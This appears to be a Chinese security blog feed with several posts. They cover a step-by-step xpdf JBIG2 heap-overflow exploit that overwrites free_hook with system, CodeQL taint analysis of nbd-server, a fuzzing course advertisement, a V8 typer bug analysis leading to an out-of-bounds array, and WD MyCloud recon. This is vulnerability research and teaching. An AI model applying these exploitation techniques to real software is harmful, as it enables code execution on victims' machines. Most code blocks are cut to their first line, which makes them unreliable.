因此,作为提供外部 JBIG2Stream 流的我们,需要对写入至 pdf 中的 bitmap 做对应的编码操作。
从最上面的 JBIG2Stream::reset
函数中可以得知,一共由三种解码器:
而这些解码器的内部算法,如果要让我们徒手撸一个的话 ,那么做题效率就会非常低。因此,我们可以使用 jbig2enc
库来帮助我们完成数据编码操作,该库已经实现了 JArithmeticDecoder 状态机的编码算法,故我们无需了解内部细节即可完成对 bitmap 的编码过程。
1 | git clone git@github.com:agl/jbig2enc.git |
但是,该库是使用 C++ 编写的,若 exploit 也全部使用 C++ 完成,则工作量较高。因此,我们可以使用 pybind11 来暴露 jbig2enc 中的部分接口给 python,这样编写 exploit 时可以使用 python 语言来完成。
1 | sudo apt-get install pybind11-dev |
最后需要注意的是,由于 jbig2enc
的接口会使用到大量的指针,而将指针暴露给 python 接口调用是一个非常不明智的选择(因为如果让 python 来调用需要指针的接口,则会降低开发速度和提高触发 bug 的几率),因此我们最好根据当前的需求,即:
将 bitmap 数据以 JArithmeticDecoder 方式来进行编码。
来额外编写一个 wrapper C++ 代码,实现三个封装好的结构体/枚举:
ArithEncoder
:调用 jbig2enc 对 bitmap 进行编码的类Bitmap
:待被编码的 bitmap 数据ArithEncoder::Proc
:ArithEncoder
编码器的状态枚举最后将这三个结构体/枚举 暴露给 python 调用,避免让 python 直接操作指针。
这一小节所实现的代码,正对应于 exp 中的以下几个文件:
hso-groupie/exploit/jbig2arith.[cc,h]
hso-groupie/exploit/jbjbarith.[cc,h]
hso 在 read segments 时,首先会读取出每个当前 segment 的 段号 segNum、segFlags、refFlags 等一系列字段和标志,之后才是进行(可能的) bitmap 读取。
这些字段和标志同样是需要我们手动放进 JBIG2Stream 中。由于这里的字段和标志不需要使用解码器进行解码,因此可以手动编写代码将字段一个个放置进流中。
这一步的操作位于 exp 中的 hso-groupie/exploit/jbig2.py
,该脚本为所有用到的 segment 都编写了一个对应的 python 结构转 JBIG2Stream 字节流的操作;同时,上一节中暴露给 python 所调用的 bitmap encoder 接口,也是在该脚本中所使用。
这样,当我们使用 python 设计好一个个特定的 segments 后,我们便可以将这些 segments 快速转换成 JBIG2Stream 流数据,方便快捷。
先放上这张镇楼图:
为了利用这个堆溢出漏洞,我们需要充分发动堆风水,将指定的结构放至对应的堆块。这里,我们的堆风水需要完成以下几个目标:
让 pdf 在解析 TextRegionSeg 时,其创建的 syms 指针数组位于 undersized syms buffer
处
让内含存放超多指针的 JBIG2SymbolDict 结构体的 segment 放置在 segments GList backing buffer
处
这里,我们打算让 JBIG2SymbolDict 结构体存放至 global segment 中,因为 SymbolDictSegment 不依赖与任何的 Segments,但是后续的 TextRegionSegment 会依赖这些 SymbolDictSegment。
让 pageBitmap 结构体占据图中 JBIG2Bitmap
那块内存,并让其 data 占据图中上面 bitmap backing buffer
那块内存。
通读代码,我们可以得知绝大多数 segments 在解析时,都可以让其 bitmap 与 pageBitmap 进行运算,并将结果保存在 pageBitmap 上。因此让 pageBitmap 拥有越界读写的能力是最好的选择。
我们先尝试在 global segment 中分配三个不同 Bitmap 大小的 SymbolDict 出来。这里分配不同大小的 SymbolDict 是为了后续在 TextRegionSeg 中,排列组合 size 至溢出,因此这三个堆块的位置不需要关心:
1 | # global segment |
其中 size_to_overflow 为上图中 overflow 的字节数,具体计算过程稍后介绍。
此时我们看看分配完这三个 SymbolDict 后的 bins 是什么情况,可以看到有大量的碎片堆块:
1 | pwndbg> bins |
这些碎片堆块对于接下来的堆风水是相当不利的,因此需要将其全部分配掉。这里使用的是 PageInfoSeg
来分配内存,因为通读代码可以发现 JBIG2Stream::readPageInfoSeg
函数除了分配一个堆块以外,没有产生其他任何影响:
1 | def DummyAlloc(size): |
分配后的 bin 如下所示,可以看到清爽了不少:
1 | pwndbg> bins |
那么接下来的问题是,如何设计堆风水?exploit 给了一个清晰明了的做法:
利用 global segment GList 满则扩增的特性创建堆空洞,进而让其他结构体来占据这些内存空洞,完成堆风水。
什么意思呢?我们看看 GList 的一些类方法:
1 | GList::GList() { |
可以看到,初始时 GList size 为 8。当 GList 中元素个数超过容量时,GList 容量将会双倍扩增。也就是说,初始时的 size 为 8,下次扩增后的 size 是 16,再下次扩增后的 size 为 32,再下下次的 size 为 64(单位,个指针)。
扩增所使用的堆函数为 realloc
,即当 GList 容量扩增后,原先那个堆块将被释放。同时又因为上面已经将其余全部小堆块全都分配出去了,因此 GList 容量扩增所分配的新堆块,一定来自于 top chunk,这就能保证每次 GList 容量扩张时,新堆块的分配顺序一定是从低地址向高地址分配。
因此尝试让 global segment GList 多次扩展,从 8 扩展至我们所需要的最终大小 64:
代码中的 glist_capacity == 32。个人认为这个数表示的是第几次 append global GList 时会扩充 GList size 至 64。
1 | global_file = [ |
global segment 的堆风水执行结束后,其堆布局大致如下:
注意 segNum 从 3 开始的 Symbol Dict,其结构体所分配的堆块(chunk size = 0x40)也是直接来自于 top chunk 。
1 | // low address -------------------------------------------- |
接下来,只需分别
即可完成堆布局。
pageBitmap 的 JBIG2Bitmap 结构体堆位置在下文中将会说明。
最后贴个 gdb script,可以使用该 gdbscript 辅助观察内存布局:
1 | file ../../xpdf-4.03/build/xpdf/pdftohtml |
global stream 中的解析操作是为了创建堆空洞,那 main stream 的解析操作就是为了占据堆空洞。
承接上文,接下来我们试着分配一个全新的 pageBitmap 结构,并让其 backing store 占据 size=16 的 Glist 空洞:
代码中的 GLIST_DATA_SIZE = 0x200,表示 size=64 时 global glist data 占据的字节数。
1 | page0 = [ |
此时堆布局如下:
1 | // low address -------------------------------------------- |
这里简单说一下 pageBitmap 结构本身的堆块分配(JBIG2Bitmap),由于其 size 0x20 在堆链上找不到可分配的堆块,因此将仍然从 top chunk 中分配,故其地址位于 size=64 的 Glist 位置的高地址处,满足堆风水要求。
接下来需要在解析 TextRegion 时继续占用 size=32 的 Glist 堆空洞。因此 TextRegion 中创建的用户内存大小必须是 syms_size = GLIST_DATA_SIZE // 2
,正好对应到 size=32 的 Glist 堆空洞大小。
但在做进一步的利用之前,我们需要绕过一个比较有趣的 sanity check:
1 | // sanity check: if the w/h/x/y values are way out of range, it likely |
xpdf-4.03/xpdf/JBIG2Stream.cc
中多次出现上面的这种 sanity check,判断当前正在处理的 w是否越过了当前的 pageW 和 pageH(两个 JBIG2Stream 类的成员变量,用于表示当前 page 的宽度和高度),如果越界则说明当前解析过程可能存在问题,那么则立即停止解析当前 segment。
看上去好像这个 sanity check 没啥问题……
但实际上,我们回过头看看 readPageInfoSeg
函数的代码:
1 | void JBIG2Stream::readPageInfoSeg(Guint length) |
我们可以非常容易的发现, 即便 readPageInfoSeg
函数中检测到了 pageW
和 pageH
的异常,但也只是简单的退出掉当前 seg 的解析,保留了畸形 pageW
和 pageH
的值在 JBIG2Stream 类成员中。
这样,我们可以尝试插入一个超大 pageW 和 pageH 的 PageInfoSeg,从而污染这两个字段为超大值,bypass 后续所有新增加的 sanity check:
1 | page0 = [ |
bypass 掉这个 sanity check 后,接下来就可以尝试创建 TextRegionSeg 来进行堆溢出了。承接上面所说的,这里所创建的 TextRegionSeg 需要满足几种要求:
size_to_overflow
个字节,即实际写 size_to_overflow // 8
个指针因此接下来在 main stream 中,需要合理组合 TextRegion 所引用的 Symbol Dict 大小:
1 | # Trigger the out-of-bound write. |
上面代码的组合中,
sizetooverflow/8 + {0x10000 + (symssize − sizetooverflow)/8} + 0xffff0000 = 0x*100000000 + *symssize/8,即刚好分配 syms_size 个字节。
又因为先 ref 的那个 Symbol Dict 的大小为 size_to_overflow // 8
个指针。因此当 readTextRegion 解析第一个 ref 的 Symbol Dict 时,刚好向 syms 堆块中写入 size_to_overflow
个字节,直接溢出至 pageBitmap JBIG2Bitmap 结构体头部位置,如此便能达到溢出的目的。
这里说明一下 size_to_overflow 是怎么得出的,先上堆布局:
1 | // low address -------------------------------------------- |
根据堆布局可得知:
1 | size_to_overflow = ( |
之后,将 readTextRegionSeg 中刚刚被释放掉的那个 syms_size 大小的堆块再次分配回来,防止在后续的利用中出现可能的崩溃。
1 | # Take back the free-d syms, hold it to prevent potential crash. |
由于越界写入 pageBitmap JBIG2Bitmap 结构体头部位置的是指针值,可以越界读写的数据有限,因此我们需要根据这个有限的 pageBitmap 越界读写原语,来自己修改自己的 JBIG2Bitmap 结构体头,将其中的 w修改的更大,扩展自己的读写范围。根据上面的堆布局,同样可以得出 page_bitmap_buf
至 pageBitmap JBIG2Bitmap
的距离:
1 | page_bitmap_buf_to_class_offset = ( |
之后将其 w分别更改为 w = 227、h = 224、line = 224:
imm 为 true 表示即时渲染,即立即修改 pageBitmap 上的指定位置。
1 | # Overwrite pageBitmap->w, h and line |
修改后的 pageBitmap 的二维空间构造:
1 | +------------------> w=2^27 bit |
最后创建带有 16 个 Bitmap 的 SymbolDict ,以备接下来的利用所使用:
1 | # 16 "variables". Since we can only do bitwise operations relative to page bitmap |
这些 SymbolDict 将用于地址解引用原语中,具体在下面会详细介绍。
整体的堆风水布局大体如上所示。完成堆溢出后,pageBitmap 具备了大偏移读写的功能,因此接下来就要开始写原语利用了。
还记得先前介绍的 GenericRefinementRegionSeg
么(不记得就翻到上面看看),接下来我们需要利用这个 seg 的特性来编写任意位的位运算器。
exploit 中实现的位运算器如下所示:
1 | class BitSeg: |
原语 bitop 的 oa、ob 两个参数的单位为 bit,op 有 5 种。
bitop 原语初始时将一维偏移量 oa、ob 分别映射至 bitmap 的二维偏移量 xy1、xy2,之后在解析 ob 对应的 RefinementRegionSeg 时,从 pageBitmap 中取出对应 xy2 的数据,并将其存入 segments 中。
一维偏移量向二维偏移量映射时,为什么使用的是 2^27 作为除数/模数呢?因为这是上面所修改后的 width 的大小。
接下来当 hso 解析 oa 对应的 RefinementRegionSeg 时,hso 会重新读入先前存入的 ob 对应的 RefinementRegion,并将其与 pageBitmap 特定 xy1 位置进行位运算,达到指定 pageBitmap 上任意两位之间进行位运算的目的。
这里需要注意的是,findSegment 查找算法的核心,是依次遍历 segments 列表的元素并比对 segNum 来进行查找。因此每次添加进 segment 的 RefinementRegion,其 segNum 一定不能与之前 append 进去的 segments 相同!
当位运算原语 binop
可用后,接下来就可以构建其他原语:
1 | bitwise_mov = lambda a, b: bitop(a, b, CombOp.Replace) |
这里的 op_q_q
原语,其 oa、ob 参数的单位为字节(注意和 binop 的单位并不相同)。
op_q_q
原语的目的,是对给定 oa
和 ob
的相对一维偏移字节所对应的两个位置,做一次8字节位运算。
举个例子,原语 and_q_q(0, 8)
,执行的操作为:
这个原语其实很好理解,只是用文字记录下来感觉不太好记录,也可能是我文笔不太好。
之后便是通过位运算来构建8字节全加器,可以先看看这篇文章再看看代码:
1 | # Don't worry, Libra won't hu^W^W^W Xpdf allocates 1 more byte |
其全加器结构如下所示:
除了上面所介绍的位运算原语以外,还有加载外部立即数计算的原语。
1 | def op_q_imm(offset, imm, op): |
readGenericRegionSeg 方法可从外部 JBIG2Stream 流中读入一个 bitmap 并将其与 pageBitmap 上的特定位置进行运算,因此 GenericRegionSeg 可用于此处的立即数运算原语。
当我们有了某个指针的绝对地址后,我们如何将这个指针从该绝对地址中读取出来呢?这就需要用到地址解引用操作。这里,exploit 准备了两个原语:
rebase_variable_q
:将 pageBitmap 中一维偏移为 addr_page_offset
处的 8 字节数据,复制进堆风水中最后一步所创建的带有 16 个 Bitmap 的 SymbolDict 中,第 idx 个 JBIG2Bitmap 的 data 字段上:
注意,是直接将值覆盖在 JBIG2Bitmap 的 data 字段上,而不是写进 data 指针所指向的内存上。
1 | def rebase_variable_q(idx, addr_page_offset): |
load_variable
:读取最后一个 Symbol Dict 中,第 idx 个 JBIG2Bitmap backing store 里的(即 data 指针解引用后的内存上) 的第一个 8 字节数据,至 pageBitmap 中一维偏移为 to_page_offset
处的 8 字节内存位置。
1 | def load_variable(to_page_offset, idx): |
这两个原语一结合,就能达到地址解引用的目的。
各类原语已经都准备好了,接下来便是结合这些原语覆写 free_hook 为 libc_system 的地址。
首先,我们需要 leak 一个地址出来(这个地址自然不能是堆地址),通过查看堆布局:
1 | // low address ..... |
可以看到紧临着 pageBitmap 的便是 SymbolDict,因此我们可以尝试读取其虚表指针。
1 | # vtbl of a JBIG2SymbolDict adajacent to page bitmap buffer |
之后从外部读取一个相对偏移至 pageBitmap data + 8 的位置:
1 | # 计算出-vtbl_offset + free_got_offset |
然后再简单做个加法,就能得到 free 条目在 GOT 表上的绝对地址,放到 +0 处:
1 | # 计算vtbl地址+(-vtbl_offset + free_got_offset)得到free_got的地址,放到+0处 |
接下来,尝试对该 free.got
地址进行解引用,获取 free.libc
地址:
1 | # 从+0处取出free_got的地址,放到第0个"变量"data 指针处 |
在获取到 free.libc
地址后,读入一个相对偏移并做个加法,经过简单几步,我们便能得到 free_hook
和 libc_system
的绝对地址:
1 | # 把LIBC_FREE_OFFSET这个立即数的值放到+0处 |
注意,此时 pageBitmap->data
上的数据为:
1 | +0: free_hook_address +8: libc_system_address |
接下来便是计算 pageBitmap->data + 8
的地址,即存放着这个 libc_system_address
值的内存地址:
1 | # 取出pagebitmap的data指针,放到+24处 |
计算出这个内存地址的用处是什么呢?继续向下看,注意重头戏快到了:
1 | # 取出pagebitmap的data指针的值放到第0个变量的 data 字段 |
这样,此时的 free hook 便被改写成了 libc_system 的地址,接下来便是尝试执行命令。
这里再 append 一个 带有待执行命令的 bitmap:
1 | page0.append( |
这样当 readGenericRegionSeg
函数结束时,新创建的 bitmap(即带有命令的 bitmap)将会被 free 掉,这样就可以触发 system(command)
:
1 | void JBIG2Stream::readGenericRegionSeg(Guint segNum, GBool imm, |
但有两点需要注意:
imm 必须为 true,这样才能触发 delete 操作。
创建的 GenericRegionSeg,其二维偏移 xy 映射至一维偏移后的偏移量,不能小于 64(即 8 字节)
这是因为代码中会先执行 pageBitmap->combine
再执行 delete bitmap
操作。此时的 pageBitmap->data
为 free hook address,如果执行 combine 时修改了pageBitmap->data
最低的8个字节,那么 free 时就无法调用到 libc_system,因为保存在 free_hook 上面的 libc_system 地址被破坏了。
欢迎大家关注公众号”天问记事簿”,以及加入天问之路知识星球,一起做技术分享,一起学习,happy hack。
codeql关于数据流分析的基础文档可以在这里找到,本文中不多做叙述。
codeql文档里对于数据流和污点的区别描述是这样的。
在标准库中,我们区分了正常数据流和污点跟追踪。
例如,如果您正在跟踪一个不安全的对象 x(可能是一些不受信任的或潜在的恶意数据),程序中的一个步骤可能会改变它的值。因此,在 y = x + 1
这样的简单计算中,正常的数据流分析会突出使用 x,而不是 y。然而,由于 y 是从 x 派生的,它会受到不受信任或“污染”信息的影响,因此它也被污染了。分析从 x 到 y 的污点流称为污点跟踪。
污点分析在数据流分析的基础之上,额外在控制流图上建立了许多边,以此实现。本文主要就笔者对该库的分析做了记录,如有错误还请指正。
这里以rwctf中who move my block这道题涉及的nbd-server的一个漏洞为例来简述如何使用污点分析。
首先从 accept
函数开始找起,它是整个 socket 连接的起点,通过它我们可以根据交叉引用找到处理连接的函数 handle_modern_connection
:
1 | static void |
需要注意的是,默认情况下对于每个连接,server 都会 fork 一个新的子进程来单独处理。这个特性相当重要,因为我们可以利用这个特性来爆破 canary 和 PIE。
该函数会调用 negotiate
函数,并创建结构体 CLIENT
,将新连接的 fd 赋给该 client,之后后续使用 socket_read(client, addr, len)
来从 client(即我们这边)读取数据。
1 | /** |
这样,我们可以socket_read
的第二个参数(用户输入将读入到这里)作为source点,然后将看能否污点到后续调用的source_read
的第三个参数(即控制读入的长度),当然也可以做其他污点。
使用的QL如下,由于污点分析不会对未建模的函数进行进一步污点传播,所以这里通过覆盖isAdditionalTaintStep来手动构建函数参数到函数调用的额外边,另外一个需要注意的是我使用的是semmle.code.cpp.ir.dataflow.TaintTracking
而不是文档里的semmle.code.cpp.dataflow.TaintTracking
,前者是基于IR的新API,被建议使用,也广泛应用在codeql自己的cwe case里
大概的结构是继承TaintTracking::Configuration
之后覆盖里面的方法即可。
1 | /** |
最终发现的漏洞在handle_info
里的一个栈溢出
1 | static bool handle_info(CLIENT* client, uint32_t opt, GArray* servers, uint32_t cflags) { |
TaintTracking::Configuration
定义在cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/tainttracking1/TaintTrackingImpl.qll
里
它其实继承自DataFlow::Configuration
,然后扩展了isAdditionalFlowStep
,注意到这里先调用了this.isAdditionalTaintStep
,这就是我们可以继承后覆盖的代码,引入我们自己的额外边,同时它还有一个defaultAdditionalTaintStep
,这是该污点自己对数据流进行的扩展。
1 | abstract class Configuration extends DataFlow::Configuration{ |
operandToInstructionTaintStep
用于把污点从参数流向指令返回值,这里做了许多连边处理:
1 | // Taint can flow through expressions that alter the value but preserve |
这里的连边操作将算数运算、位运算、指针运算 和字段使用等指令的参数连向了整个指令。
例如如果我们污点到了len + 1
的len
,那么它将把污点从len传播到len + 1
这个AddExpr中。
1 | // Unary instructions tend to preserve enough information in practice that we |
排除字段取地址指令的原因正如注释所说,流过 FieldAddressInstruction
可能会导致污点流从某个字段流入,从另一个不相关的字段流出。
1 | modeledTaintStep(opFrom, instrTo) |
污点分析库会额外对库函数建模,对很多非常常用的函数建立额外边。这种建模是通过派生 TaintFunction
类,重写 hasTaintFlow
函数来实现的。我们可以全局搜索 TaintFunction 字符串,找到所有建模好的函数。以下是其中某个函数的建模实现:
1 | /** |
污点分析库对函数 abs
进行建模,重写 hasTaintFlow
函数,将该函数的输入参数与函数的返回值相连。这样,如果该函数的参数被污染,那么该函数的返回值也将被视为污染。
数据流分析库同样会对一些库函数进行建模,但不同的是,所建模函数的数量并没有污点分析那么多,同时连接额外边的侧重点也不一样,以 gets 函数为例,以下是它的建模实现:
1 | /** |
注意到 hasDataFlow 的实现是将传入的第一个 buf 参数与返回值连接(buf参数的值会影响到 gets 的返回值)。而 hasTaintFlow 是将 fgets 等的数据来源与 buf 连接(数据来源会污染 buf 中的数据)。
目前看codeql的c/c++污点分析还是有局限性的,首先它并没有对c++的语法特性做适配,目前看只是字段访问的时候有额外的处理。
此外受限于符号支持,它并不能完全实现跨函数追踪,例如对于大部分标准库函数它目前都只能自己去建模,无法自动化的分析和追踪,但这不是ql的问题,是插桩的问题,这部分我在想通过静态链接能否有改善。
目前我们在自己做审计的时候,如果需要做跨函数的追踪,还是需要像我代码里一样去手动连边,这个连边可以是保守的也可以是粗放的,例如我的实现就是,如果污点传入的函数参数,就传播到函数调用。
此外根据我在做chrome QL审计的经验,可以参考Chrome Library来补一些拷贝构造函数,智能指针,虚函数调用,以及c++容器相关的边。
这些也是留待后文。
]]>因为Fuzzing Lab的反响意外的还好,感谢大家,为了让大家更好的选择自己想学的内容,为大家省钱,我修订了Fuzzing Lab的内容。
@sakura,二进制安全研究员、Fuzzing爱好者、浏览器bug hunter,获得过谷歌/苹果高危漏洞致谢,我的漏洞列表: https://eternalsakura13.com/buglist
问1:我适合学习Fuzzing Lab吗?
答1:如果你是安全从业者、学生,开发人员等,对c/c++系代码有一定了解,愿意花时间尝试,一定能学有所获。
问2:我能只买Fuzz基础/浏览器等某个月的具体专题的内容吗?
答2:可以,为了避免无用消费,大家不必全都学习。我鼓励大家更多的尝试不同的方向,而且因为内容是持续积累的,所以任何时候想学习之前的专题,都可以再补票,不用担心错过。
Fuzzing Lab现价: 500元/每个专题/月,如果是星球成员,从星球群里加我并备注fuzzinglab可享首月5折优惠。
因为内容是持续积累的,所以如果现在你想学习内核Fuzz,我也还没有备课到,我每个月讲一个专题,并在这个帖子和我的博客长期更新目录,随时可以选择学习某个专题的内容。
课程购买链接
专题1: Fuzz基础
https://m.weishi100.com/mweb/series/?id=1326479
专题2: 浏览器Fuzz-1
https://m.weishi100.com/mweb/series/?id=1326477
我想输出更多东西,想让更多人进入二进制安全这个大方向,能够和大家一起成长,一起进步,不妄自菲薄,成为最好的自己。
每月一个专题,持续更新,按专题购买
本篇主要是对zer0con2021上chrome exploitation议题v8部分的解读。
这个漏洞发生在Simplified Lowering phase的VisitSpeculativeIntegerAdditiveOp函数中,该函数是用来处理SpeculativeSafeIntegerAdd/SpeculativeSafeIntegerSubtract节点,对其重新计算类型并将其转化或者降级到更底层的IR。
这个函数非常有趣,据我所知它已经出了三个可以RCE的漏洞了
1 | // Information for each node tracked during the fixpoint. |
1 | template <> |
truncation_
字段,从而将truncation反向传播。1 | // Enqueue {use_node}'s {index} input if the {use_info} contains new information |
restriction_type_
,并用于后续的retype phase上。1 | template <> |
1 | // test/mjsunit/compiler/regress-1150649.js |
1 | y: |
const z = (y + 1)|0;
将计算出-0x80000000,其小于0显然为true,但在有漏洞的情况下却返回false。通过./d8 --allow-natives-syntax --trace-representation poc.js
可以完整的trace这三个阶段。
首先对于truncation propagation,可以看出在反向遍历节点的时候,在visit NumberLessThan的时候,将其输入节点#47的truncation由TruncationKind::kNone(no-value-use)
更新到TruncationKind::kWord32(truncate-to-word32)
,代表它在使用的时候会被截断到word32。
1 | visit #57: NumberLessThan (trunc: no-truncation (but distinguish zeros)) |
在处理y+1
的时候,最终会调用到VisitBinop
,其将左值和右值输入节点启发式的传播其truncation信息,并将SpeculativeSafeIntegerAdd对应的nodeinfo里的restriction_type
字段更新到Type::Signed32
1 | visit #45: SpeculativeSafeIntegerAdd (trunc: truncate-to-word32) |
1 | void VisitSpeculativeIntegerAdditiveOp(Node* node, Truncation truncation,SimplifiedLowering* lowering) { |
1 | void VisitBinop(Node* node, UseInfo left_use, UseInfo right_use, MachineRepresentation output, Type restriction_type = Type::Any()) { |
Retype phase进行正向数据流分析,从Start节点开始,对每个节点UpdateFeedbackType更新类型,并将更新后的类型向前传播。
1 | #45:SpeculativeSafeIntegerAdd[SignedSmall](#41:Phi, #44:NumberConstant, #42:Checkpoint, #38:Merge) |
1 | Type FeedbackTypeOf(Node* node) { |
首先对左值和右值输入节点调用FeedbackTypeOf函数,这个函数会去确定该节点对应的nodeinfo上是否有feedback字段被设置,如果有则代表该输入节点的类型在retype的时候被更新了,需要取该类型作为实际的类型信息,否则代表没有更新,和之前typer阶段分析的一致,直接取原本的type即可,最终得到input0_type和input1_type。
这个宏看上去很不好理解,但其实意思就是对于
SpeculativeSafeIntegerAdd节点,先根据input0_type和input1_type,重新调用SpeculativeSafeIntegerAdd运算符的type函数,计算出一个类型,其应该是Range(0, 2147483648)。
然后将这个结果和restriction_type
即Signed32取交集,而Signed32的范围应该是(-2147483648,2147483647),最终得到Feedback type是Range(0, 2147483647),并将这个结果更新到节点对于nodeinfo的feedback_type字段上。
SpeculativeNumberBitwiseOr同理,由于SpeculativeSafeIntegerAdd的类型作为input0_type已经被更新了,所以调用SpeculativeNumberBitwiseOr的type函数将计算出一个新的类型,作为Feedback type传播下去。
1 | #47:SpeculativeNumberBitwiseOr[SignedSmall](#45:SpeculativeSafeIntegerAdd, #46:NumberConstant, #45:SpeculativeSafeIntegerAdd, #38:Merge) |
Retype phase除了调用UpdateFeedbackType更新信息,还会调用VisitNode函数设置节点的respresentation,但这和这个漏洞无关,略过不表。
现在,每个节点都已经和它的使用信息(truncation)和output representation关联了。
最后将反向的遍历所有节点,进行lower
于是对于poc里的z < 0
,由于z的类型已经被更新到了(0, 2147483647),这个范围显然是在Unsigned32OrMinusZero里的,所以满足第一个if判断。
于是最终将NumberLessThan节点给lower到了Uint32Op。
但实际上z的值是|0x80000000|,其被当成uint32解析的话就是+0x80000000,这个值显然大于0,所以出现了和之前解释执行时候不一样的结果false。
1 | case IrOpcode::kNumberLessThan: |
这个漏洞的原理至此已经分析清楚了,那么我们简单的来浏览一下这个漏洞的typer exploit trick。
1 | //首先假设我们能让l的类型在typer阶段被推断成Range(-1,0) |
#81
也就是array.shift将被Reduce成这些节点,我们重点关注StoreField[+12]即可,因为这代表的是重新为array的length字段赋值。
这部分IR对应的伪代码如下,摘自zer0con PPT原文。
1 | /* JSCallReducer::ReduceArrayPrototypeShift */ |
如果关注IR图的话,关注下面这部分就行了,可以看出先LoadField[+12],然后对其减1,再StoreField[+12]回去。
如图就是#JSCreateArray在TypedLowering phase被reduce后的IR。
伪代码如下:
1 | // JSCreateLowering::ReduceJSCreateArray |
有趣的是将上面这些reduce后的结果连起来看,会发现对length先Store,再Load,再减去一个-1,再Store,这是不是过于冗杂了呢,v8对其会进行一定的优化。
篇幅所限,略去不表,以后有空我再单独写一篇讲LoadElimination的漏洞的文章,总之最终优化后,首先会直接将#154 CheckBounds
作为#133 NumberSubtract
的左值输入。
然后由于之前Typer分析的时候CheckBounds的范围是(0,0),这显然是一个常量,而#44
也是一个常量1,所以#133
在其输入更新后,它的type也被更新成了-1,随后就被常量折叠掉,于是最终得到的IR图如下。
最终伪代码如下:
1 |
|
事实上到目前为止一切就比较清晰了,只要我们能让length通过CheckBounds的检查,并且其值不等于0且小于等于100,就能在arr.shift
之后让arr的length被置为-1,即0xffffffff,就实现arr的越界读写了。
1 | function foo(a) { |
事实上很有趣的一件事情是:
let l = 0 - Math.sign(z)
在Retype前后的范围都是(-1,0),没有变化。let z = (y + 1) + 0
的范围从(0, 2147483647),变成了(0, 2147483648),补丁前后不影响NumberSign的范围,所以也不会影响CheckBounds的范围,也就不会影响array.shift
部分生成的IR。所以无论补丁前还是补丁后,上面array.shift
部分生成的IR都没有变化。
那么难道补丁之后,我们还可以执行到StoreField(arr, kLengthOffset, -1);
,从而得到OOB吗?毕竟这部分代码都还在,它没有变化。
显然不可能,事实上补丁影响到的是对NumberSign的lower,它会根据以下逻辑来计算出是-1还是1。
1 | Int32Add... |
在补丁前,Int32Add(0x7fffffff, 1)之后ChangeInt32ToFloat64得到的是-0x80000000,显然小于0,得到-1,然后带入let l = 0 - Math.sign(z)
运算得到length为1,于是可以通过CheckBounds的检查,最后实现OOB。
但若是在补丁后,该伪代码将变成
1 | Int32Add... |
于是在补丁后,Int32Add(0x7fffffff, 1)之后ChangeUInt32ToFloat64得到的是0x80000000,显然大于0,得到1,然后计算出的length是-1,显然不能通过CheckBounds的检查,所以即使有可以导致OOB的分支在,也无法执行进去。
补丁前后SpeculativeSafeIntegerAdd都会被lower到Int32Add,这部分逻辑其实在这里:
1 | if (lower<T>()) { |
注意truncation.IsUsedAsWord32()
,只要满足这个条件,就会生成Int32Op,而要满足这个条件,目前看add | 0
或者add +- 0
这种都可以产生截断到word32。
事实上如果从poc里去掉下面这句就不会创建出SpeculativeSafeIntegerAdd节点了,这是因为v8的启发式JIT在收集执行信息的时候,在进行add的时候,发现y + 1
始终是进行的SignedSmall的add,所以会创建出SpeculativeSafeIntegerAdd。
如果没有这句,那么显然y + 1
不可能是在SignedSmall范围内计算了,就会生成NumberAdd节点,也就不会走到存在漏洞的路径。
1 | if (a) y = -1;// The next condition holds only in the warmup run. It leads to Smi (SignedSmall) feedback being collected for the addition below. |
十分感谢刘耕铭精彩的分享:)
]]>本文主要是对crowdstrike团队的pwn2own-tale-of-a-bug-found-and-lost-again文章进行学习,并梳理漏洞模式和探究漏洞利用方法,因为笔者手上没有这款固件,如果有人手上有或者用qemu仿真出来了,可以自己调试一下。
首先下载有漏洞的固件,该漏洞从2.31.204版本开始,一直在5.04.114版本修复,跨度长达一年,还是十分值得学习的。
https://downloads.wdc.com/gpl/WDMyCloud_PR4100_GPL_v2.40.155_20200713.tar.gz
因为是从零开始的IoT漏洞挖掘,从本篇开始我们首先讲述一下,在开始挖掘漏洞之前,我们需要做什么。第一件事就是要枚举攻击面,即这个目标它起了哪些服务,然后哪些服务是从外网可以访问。
一般可以用Netstat来看这些东西。
netstat -tulpn
-t
tcp-u
udp-l
listening, Show only listening sockets.-n
Show numerical addresses instead of trying to determine symbolic host, port or user names.-p
Show the PID and name of the program to which each socket belongs.1 | root@MyCloudPR4100 root # netstat -tulpn |
一般看到httpd就可以确定这可能是使用了apache来做的服务端,所以再搜一下conf配置文件,一般以我的习惯会把每个conf文件都读一下,不过这里我们主要关注一下alias.conf
和rewrite.conf
1 | sakura@sakuradeMacBook-Pro:~/Desktop/WDMyCloud_PR4100_GPL_v2.40.155_20200713$ find . -name "*.conf" |
alias.conf
https://www.docs4dev.com/docs/zh/apache/2.4/reference/mod-mod_alias.html
1 | ScriptAlias /cgi-bin/ /var/www/cgi-bin/ |
这句配置的含义是把web请求的url中,如果它访问的目录是/cgi-bin/
,就重定向到/var/www/cgi-bin/
目录下。
rewrite.conf
https://www.jianshu.com/p/103742cccaff
对于rewrite.conf
,主要读懂RewriteCond和RewriteRule两个关键字的含义就行了。
RewriteCond起到的是过滤作用
以RewriteCond %{REMOTE_ADDR} !^127\.0\.0\.1$
这句为例,如果%{REMOTE_ADDR}
和!^127\.0\.0\.1$
正则匹配,即REMOTE_ADDR
不是来自localhost的话,就使用紧邻着的下一句RewriteRule来重定向web请求。
以RewriteRule ^(\w*).cgi$ /web/cgi_api.php?cgi_name=$1&%{QUERY_STRING} [L]
这句为例,就是把所有访问xx.cgi
文件的请求,都重定向到/web/cgi_api.php?cgi_name=xxx
,即用cgi_api.php
来分发请求,如果鉴权不通过,就不能访问该cgi文件。
这里的鉴权主要指的就是攻击者是否有普通用户登录的权限,也就是一般说的pre-auth和after-auth了。
我们主要关注的都是pre-auth的rce,所以从这个配置文件和从cgi_api.php
里的逻辑可以看出,认证前能够访问的cgi文件只有webpipe.cgi
和login_mgr.cgi
,而前者内部也有鉴权,所以主要关注login_mgr.cgi
至此为止我们就分析出了攻击者易达的攻击面,如果要深挖的话还需要再读一下其他的配置文件,和ps -ef
看看还开了哪些进程,能否通过httpd路由到。
1 | <IfModule rewrite_module> |
首先抓包看一下正常的请求包是什么样的,可以看出用户输入的密码其实是被base64之后再发往server端处理的
1 | POST /cgi-bin/login_mgr.cgi HTTP/1.1 |
入口函数在cgiMain,该函数根据post请求里的cmd参数来选择使用哪个函数,这里我们主要看的就是wd_login
函数
1 | __int64 cgiMain() |
在我简单的处理了一下符号之后的伪代码如下。
1 | int wd_login() |
